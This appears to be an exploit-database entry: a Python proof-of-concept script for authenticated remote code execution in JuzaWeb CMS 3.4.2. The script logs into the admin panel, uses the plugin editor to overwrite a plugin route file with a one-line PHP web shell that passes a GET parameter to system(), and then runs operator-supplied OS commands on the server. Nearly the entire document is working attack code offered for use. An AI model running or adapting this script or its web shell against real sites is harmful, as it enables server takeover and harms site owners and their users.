📄 JuzaWeb CMS 3.4.2 Remote Code Execution

# Exploit Title: JuzaWeb CMS 3.4.2 - Authenticated Remote Code Execution
    # Date: 2026-01-10
    # Exploit Author: Sardor Shoakbarov
    # Author GitHub: https://github.com/TheDeepOpc
    # Vendor Homepage: https://juzaweb.com/
    # Software Link: https://github.com/juzaweb/
    # CVE: N/A (Pending)
    
    import requests
    import argparse
    from bs4 import BeautifulSoup
    
    def run_exploit():
        parser = argparse.ArgumentParser(description='JuzaWeb Authenticated RCE')
        
        # Setting up the exact syntax you requested
        parser.add_argument('-u', '--url', help='Target URL (e.g. http://127.0.0.1:8000)', required=True)
        parser.add_argument('-user', '--username', help='Admin Username/Email', required=True)
        parser.add_argument('-p', '--password', help='Admin Password', required=True)
        parser.add_argument('-cmd', '--command', help='OS Command to execute (e.g. "ls", "id")', required=True)
        
        args = parser.parse_args()
        target = args.url.rstrip('/')
        session = requests.Session()
    
        print(f"[*] Targeting: {target}")
    
        # Step 1: Login
        login_url = f"{target}/admin-cp/login"
        try:
            get_login = session.get(login_url)
            soup = BeautifulSoup(get_login.text, 'html.parser')
            token = soup.find('input', {'name': '_token'})['value']
            
            login_data = {
                '_token': token,
                'email': args.username,
                'password': args.password
            }
            
            res = session.post(login_url, data=login_data)
            if "Dashboard" not in res.text:
                print("[-] Login failed. Check credentials.")
                return
            print("[+] Login Successful.")
        except Exception as e:
            print(f"[-] Error during login: {e}")
            return
    
        # Step 2: Inject Web Shell
        # Injecting system() into a plugin file as described in the report
        print("[*] Injecting payload into Plugin Editor...")
        editor_url = f"{target}/admin-cp/plugins/editor"
        shell_payload = "<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); die; } ?>"
        
        inject_data = {
            'file': 'src/routes/api.php', # File to overwrite
            'content': shell_payload,
            'plugin': 'juzaweb/example'  # Targeted plugin
        }
        
        session.post(editor_url, data=inject_data)
    
        # Step 3: Execute Command
        # Accessing the modified route to trigger the command
        print(f"[*] Executing command: {args.command}")
        exec_url = f"{target}/admin-cp/plugins?cmd={args.command}"
        response = session.get(exec_url)
        
        print("\n--- Output ---")
        print(response.text.strip())
        print("--------------")
    
    if __name__ == "__main__":
        run_exploit()